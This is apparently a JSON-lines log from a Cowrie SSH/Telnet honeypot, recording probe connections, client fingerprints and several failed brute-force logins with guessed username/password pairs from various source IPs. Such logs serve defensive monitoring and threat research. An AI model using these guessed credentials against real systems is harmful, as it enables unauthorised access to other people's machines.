{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:30.267506Z","src_ip":"109.237.96.109","session":"df7759482e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.5287823677063,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:30.964009Z","src_ip":"192.119.13.58","session":"0c796d5e50c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.58096218109131,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:32.304222Z","src_ip":"192.119.13.58","session":"b19c41d51346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.60259485244751,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:35.151158Z","src_ip":"192.119.13.58","session":"89b0fc1057f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59328,"dst_ip":"10.17.0.5","dst_port":23,"session":"de35cb4b9f90","protocol":"telnet","message":"New connection: 192.119.13.58:59328 (10.17.0.5:23) [session: de35cb4b9f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:38.124461Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":9045,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe5db517ccd","protocol":"ssh","message":"New connection: 122.51.73.24:9045 (10.17.0.5:22) [session: 6fe5db517ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:38.132469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:38.141324Z","src_ip":"122.51.73.24","session":"6fe5db517ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:38.376092Z","src_ip":"122.51.73.24","session":"6fe5db517ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789aA@","message":"login attempt [root/123456789aA@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:39.347046Z","src_ip":"122.51.73.24","session":"6fe5db517ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:40.591295Z","src_ip":"122.51.73.24","session":"6fe5db517ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43154,"dst_ip":"10.17.0.5","dst_port":23,"session":"65a628496073","protocol":"telnet","message":"New connection: 192.119.13.58:43154 (10.17.0.5:23) [session: 65a628496073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:41.005377Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34660,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c39c102f88","protocol":"telnet","message":"New connection: 192.119.13.58:34660 (10.17.0.5:23) [session: 18c39c102f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:45.661208Z"}
{"eventid":"cowrie.session.closed","duration":49.300023555755615,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:48.108896Z","src_ip":"192.119.13.58","session":"c69941378363","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.90300917625427,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:15:48.882995Z","src_ip":"192.119.13.58","session":"6292d3e00956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52444,"dst_ip":"10.17.0.5","dst_port":23,"session":"f02e872664a5","protocol":"telnet","message":"New connection: 192.119.13.58:52444 (10.17.0.5:23) [session: f02e872664a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:03.670527Z"}
{"eventid":"cowrie.session.closed","duration":39.11328625679016,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:07.595966Z","src_ip":"192.119.13.58","session":"8f3e59e0754d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.3520073890686,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:09.426747Z","src_ip":"192.119.13.58","session":"d040fdc0738d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45412,"dst_ip":"10.17.0.5","dst_port":23,"session":"b90cd5e600c3","protocol":"telnet","message":"New connection: 192.119.13.58:45412 (10.17.0.5:23) [session: b90cd5e600c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:09.843785Z"}
{"eventid":"cowrie.session.closed","duration":6.805955410003662,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:10.476351Z","src_ip":"192.119.13.58","session":"f02e872664a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":35752,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f00f65529a","protocol":"ssh","message":"New connection: 147.45.199.80:35752 (10.17.0.5:22) [session: f6f00f65529a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:15.278295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:15.284423Z","src_ip":"147.45.199.80","session":"f6f00f65529a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:15.388072Z","src_ip":"147.45.199.80","session":"f6f00f65529a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ssssssss","message":"login attempt [root/ssssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:15.694637Z","src_ip":"147.45.199.80","session":"f6f00f65529a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":44900,"dst_ip":"159.203.135.109","dst_port":22,"session":"02ab67c9f60e","protocol":"ssh","message":"New connection: 103.122.221.179:44900 (159.203.135.109:22) [session: 02ab67c9f60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:16.099368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:16.115886Z","src_ip":"103.122.221.179","session":"02ab67c9f60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:16.375383Z","src_ip":"103.122.221.179","session":"02ab67c9f60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:16.811695Z","src_ip":"147.45.199.80","session":"f6f00f65529a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"merlin","message":"login attempt [root/merlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:17.141667Z","src_ip":"103.122.221.179","session":"02ab67c9f60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:18.396703Z","src_ip":"103.122.221.179","session":"02ab67c9f60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.282349824905396,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:18.406693Z","src_ip":"192.119.13.58","session":"de35cb4b9f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.78248882293701,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:20.034099Z","src_ip":"192.119.13.58","session":"8b5e62161eb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47774,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe42e72407e","protocol":"telnet","message":"New connection: 192.119.13.58:47774 (10.17.0.5:23) [session: abe42e72407e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:23.191679Z"}
{"eventid":"cowrie.session.closed","duration":43.068767070770264,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:24.074024Z","src_ip":"192.119.13.58","session":"65a628496073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58884,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f72ab39dbb3","protocol":"telnet","message":"New connection: 192.119.13.58:58884 (10.17.0.5:23) [session: 2f72ab39dbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:25.922599Z"}
{"eventid":"cowrie.session.closed","duration":40.312132358551025,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:25.973227Z","src_ip":"192.119.13.58","session":"18c39c102f88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45694,"dst_ip":"10.17.0.5","dst_port":23,"session":"edc91ddae974","protocol":"telnet","message":"New connection: 192.119.13.58:45694 (10.17.0.5:23) [session: edc91ddae974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:29.675135Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52056,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aabfccd0c15","protocol":"telnet","message":"New connection: 192.119.13.58:52056 (10.17.0.5:23) [session: 0aabfccd0c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:31.281986Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58526,"dst_ip":"10.17.0.5","dst_port":23,"session":"3638bf02dca9","protocol":"telnet","message":"New connection: 192.119.13.58:58526 (10.17.0.5:23) [session: 3638bf02dca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:32.848861Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60526,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3342eeb3ea0","protocol":"telnet","message":"New connection: 192.119.13.58:60526 (10.17.0.5:23) [session: c3342eeb3ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:33.339174Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35016,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba7f5198cae","protocol":"telnet","message":"New connection: 192.119.13.58:35016 (10.17.0.5:23) [session: 9ba7f5198cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:34.013338Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53466,"dst_ip":"10.17.0.5","dst_port":23,"session":"d47c11a37ee7","protocol":"telnet","message":"New connection: 192.119.13.58:53466 (10.17.0.5:23) [session: d47c11a37ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:38.392765Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":22531,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4a70b868f09","protocol":"ssh","message":"New connection: 122.51.73.24:22531 (10.17.0.5:22) [session: d4a70b868f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:39.300684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:39.307300Z","src_ip":"122.51.73.24","session":"d4a70b868f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57442,"dst_ip":"10.17.0.5","dst_port":23,"session":"981b72ef8d0e","protocol":"telnet","message":"New connection: 192.119.13.58:57442 (10.17.0.5:23) [session: 981b72ef8d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:39.367349Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:39.548284Z","src_ip":"122.51.73.24","session":"d4a70b868f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":44138,"dst_ip":"159.203.135.109","dst_port":22,"session":"76f1193c5853","protocol":"ssh","message":"New connection: 176.32.39.21:44138 (159.203.135.109:22) [session: 76f1193c5853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:39.969995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:39.975025Z","src_ip":"176.32.39.21","session":"76f1193c5853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:40.122252Z","src_ip":"176.32.39.21","session":"76f1193c5853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joshua","message":"login attempt [root/joshua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:40.508907Z","src_ip":"176.32.39.21","session":"76f1193c5853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david2026","message":"login attempt [david/david2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:40.995050Z","src_ip":"122.51.73.24","session":"d4a70b868f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":58428,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a82069d16d9","protocol":"ssh","message":"New connection: 38.93.206.2:58428 (159.203.135.109:22) [session: 1a82069d16d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:41.462461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:41.468137Z","src_ip":"38.93.206.2","session":"1a82069d16d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:41.519539Z","src_ip":"38.93.206.2","session":"1a82069d16d9","protocol":"ssh"}
